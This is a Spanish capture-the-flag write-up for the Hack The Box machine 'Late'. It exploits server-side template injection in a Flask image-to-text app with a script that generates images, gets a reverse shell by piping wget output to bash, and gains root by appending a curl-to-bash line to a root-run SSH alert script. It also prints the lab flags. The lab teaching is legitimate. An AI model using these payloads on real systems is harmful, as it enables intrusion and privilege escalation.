This page looks best with JavaScript enabled

Hack The Box - Late

 •  ✍️ sckull

Una aplicación escrita en Flask que permite convertir imagenes a texto donde identificamos una vulnerabilidad SSTI, tras la explotación logramos acceder a un primero usuario. Escalamos privilegios agregando una shell inversa a un archivo que se ejecuta cuando un usuario ingresa por SSH.

Nombre Late box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.156
Maker

kavigihan

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[4.8, 3.9, 4.4, 5.6, 6.1],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[7, 4, 9, 1, 6],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.92 scan initiated Sat Apr 23 17:01:04 2022 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.156
Nmap scan report for 10.10.11.156 (10.10.11.156)
Host is up (0.27s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
|   256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_  256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 23 17:01:26 2022 -- 1 IP address (1 host up) scanned in 22.01 seconds

Web Site

El sitio web muestra información indicando un editor de imagenes, observamos el dominio late.htb en el footer. También se muestran un link que nos lleva a la direccion images.late.htb, agregamos el dominio y subdominio al archivo /etc/hosts.

image

El subdominio muestra un formulario, donde explica que es posible convertir una imagen a un documento de texto, además se muestra que utiliza Flask.

image

User - svc_acc

SSTI - Image to Text

Tras enviar una imagen con texto el sitio nos devuelve un archivo donde vemos el texto que contiene la imagen.

image

Escribimos un pequeño script para generar imagenes con texto. Utilizamos la fuente Lora y Roboto, ya que la fuente por default no siempre es interpretada por el sitio web y no muestra correctamente algunos caracteres enviados.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from PIL import Image, ImageDraw, ImageFont
import sys, requests

if len(sys.argv) < 2:
	print("[-] Usage: picture.py <text>.")
	exit(1)

text = sys.argv[1]

width = 1012
height = 512
message = sys.argv[1]

#font = ImageFont.truetype("Lora-Regular.ttf", size=20)
font = ImageFont.truetype("Roboto-Regular.ttf", size=20)
img = Image.new('RGB', (width, height), color='blue')
imgDraw = ImageDraw.Draw(img)

textWidth, textHeight = imgDraw.textsize(message, font=font)
xText = (width - textWidth) / 2
yText = (height - textHeight) / 2

imgDraw.text((xText, yText), message, font=font, fill=(255, 255, 0))

img.save('result.png')


url = 'http://images.late.htb/scanner'
files = {'file': open('result.png', 'rb')}
x = requests.post(url, files=files)
print(x.text)

Intentamos enviar {{7*7}} ya que el sitio indica que esta utilizando Flask, tras ello obtuvimos una respuesta 49, lo que indica una vulnerabilidad SSTI.

1
2
3
4
 π ~/htb/late ❯ python picture.py "{{ 7*7 }}"
<p>49
</p>
 π ~/htb/late ❯

Utilizamos un payload de SSTI con el cual logramos ejecutar comandos en la máquina.

1
2
3
4
5
 π ~/htb/late ❯ python picture.py '{{ joiner.__init__.__globals__.os.popen(" id ").read() }}'
<p>uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)

</p>
 π ~/htb/late ❯

Shell

Utilizamos shells y con la ayuda de wget ejecutamos una shell inversa en la máquina.

1
 π ~/htb/late ❯ python picture.py '{{ joiner.__init__.__globals__.os.popen("wget -qO- 10.10.14.207/10.10.14.207:1338 |bash").read() }}'

Tras ello logramos obtener acceso como svc_acc y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
 π ~/htb/late ❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.207] from late.htb [10.10.11.156] 54006
can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash");'
svc_acc@late:~/app$ whoami;id;pwd
svc_acc
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
/home/svc_acc/app
svc_acc@late:~/app$ cd
svc_acc@late:~$ ls
app  user.txt
svc_acc@late:~$  cat user.txt
2c2f9389101e3c42ef3c7bafef4fd735
svc_acc@late:~$

Utilizamos la clave privada SSH para una shell más comoda y estable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/late ❯ ssh -i id_rsa_svc_acc svc_acc@late.htb
The authenticity of host 'late.htb (10.10.11.156)' can't be established.
ED25519 key fingerprint is SHA256:LsThZBhhwN3ctG27voIMK8bWCmPJkR4iDV9eb/adDOc.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'late.htb' (ED25519) to the list of known hosts.
svc_acc@late:~$ ls
app  user.txt
svc_acc@late:~$ cat user.txt
2c2f9389101e3c42ef3c7bafef4fd735
svc_acc@late:~$

Privesc

Ejecutamos pspy, vemos algunos cronjobs siendo ejecutados, se realiza una copia del script ssh-alert.sh, luego le da el atributo de añadir (+a) utilizando chattr, además le da permisos al usuario svc_acc sobre el script. Tambien observamos que realiza una limpieza de carpetas en el directorio de la aplicación web.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
2022/04/24 00:32:01 CMD: UID=0    PID=29595  |
2022/04/24 00:32:01 CMD: UID=0    PID=29594  | /bin/bash /root/scripts/cron.sh
2022/04/24 00:32:01 CMD: UID=0    PID=29593  | /bin/sh -c /root/scripts/cron.sh
2022/04/24 00:32:01 CMD: UID=0    PID=29592  | /usr/sbin/CRON -f
2022/04/24 00:32:01 CMD: UID=0    PID=29596  | rm /usr/local/sbin/ssh-alert.sh
2022/04/24 00:32:01 CMD: UID=0    PID=29597  | cp /root/scripts/ssh-alert.sh /usr/local/sbin/ssh-alert.sh
2022/04/24 00:32:01 CMD: UID=0    PID=29599  |
2022/04/24 00:32:01 CMD: UID=0    PID=29600  | rm -r /home/svc_acc/app/uploads/*
2022/04/24 00:32:01 CMD: UID=0    PID=29601  | rm -r /home/svc_acc/app/misc/*
2022/04/24 00:32:01 CMD: UID=0    PID=29602  | chattr +a /usr/local/sbin/ssh-alert.sh
2022/04/24 00:33:01 CMD: UID=0    PID=29605  | /bin/bash /root/scripts/cron.sh
2022/04/24 00:33:01 CMD: UID=0    PID=29604  | /bin/sh -c /root/scripts/cron.sh
2022/04/24 00:33:01 CMD: UID=0    PID=29603  | /usr/sbin/CRON -f
2022/04/24 00:33:01 CMD: UID=0    PID=29606  | chattr -a /usr/local/sbin/ssh-alert.sh
2022/04/24 00:33:01 CMD: UID=0    PID=29607  | /bin/bash /root/scripts/cron.sh
2022/04/24 00:33:01 CMD: UID=0    PID=29608  | cp /root/scripts/ssh-alert.sh /usr/local/sbin/ssh-alert.sh
2022/04/24 00:33:01 CMD: UID=0    PID=29610  | chown svc_acc:svc_acc /usr/local/sbin/ssh-alert.sh
2022/04/24 00:33:01 CMD: UID=0    PID=29611  | rm -r /home/svc_acc/app/uploads/*
2022/04/24 00:33:01 CMD: UID=0    PID=29612  | rm -r /home/svc_acc/app/misc/*

El script ssh-alert.sh envia un correo con la información del usuario que ingresó por SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#!/bin/bash

RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"

BODY="
A SSH login was detected.

        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`
"

if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi

Vemos que tras ingresar por SSH el script es ejecutado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
2022/04/24 01:09:01 CMD: UID=0    PID=30451  |
2022/04/24 01:09:49 CMD: UID=0    PID=30453  | /usr/sbin/sshd -D -R
2022/04/24 01:09:49 CMD: UID=110  PID=30454  | sshd: [net]
2022/04/24 01:09:52 CMD: UID=0    PID=30455  | /bin/bash /usr/local/sbin/ssh-alert.sh
2022/04/24 01:09:52 CMD: UID=0    PID=30456  | /bin/bash /usr/local/sbin/ssh-alert.sh
2022/04/24 01:09:52 CMD: UID=0    PID=30457  | uname -a
2022/04/24 01:09:52 CMD: UID=0    PID=30459  | /bin/bash /usr/local/sbin/ssh-alert.sh
2022/04/24 01:09:52 CMD: UID=0    PID=30458  | /bin/bash /usr/local/sbin/ssh-alert.sh
2022/04/24 01:09:52 CMD: UID=0    PID=30460  | sendmail: MTA: 23O19qba030460 localhost.localdomain [127.0.0.1]: DATA
2022/04/24 01:09:52 CMD: UID=0    PID=30461  | sendmail: MTA: ./23O19qba030460 from queue
2022/04/24 01:09:52 CMD: UID=1000 PID=30462  | sshd: svc_acc
2022/04/24 01:09:52 CMD: UID=0    PID=30463  | sensible-mda svc_acc@new root  127.0.0.1

Como sabemos tenemos permisos sobre el script, por lo que agregamos un comando para ejecutar una shell inversa.

1
svc_acc@late:~$ echo "curl 10.10.14.207/10.10.14.207:1338|bash" >> /usr/local/sbin/ssh-alert.sh

Ejecutamos netcat en el puerto especificado, ingresamos por SSH para que el script sea ejecutado, para finalmente obtener una shell como root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
 π ~/htb/late ❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.207] from late.htb [10.10.11.156] 50754
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# which python
/usr/bin/python
# python -c 'import pty;pty.spawn("/bin/bash");'
root@late:/# cd /root
root@late:/root# ls
root.txt  scripts
root@late:/root# cat root.txt
0ebb829b5c10a1c1b88f678b7e6525e3
root@late:/root#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe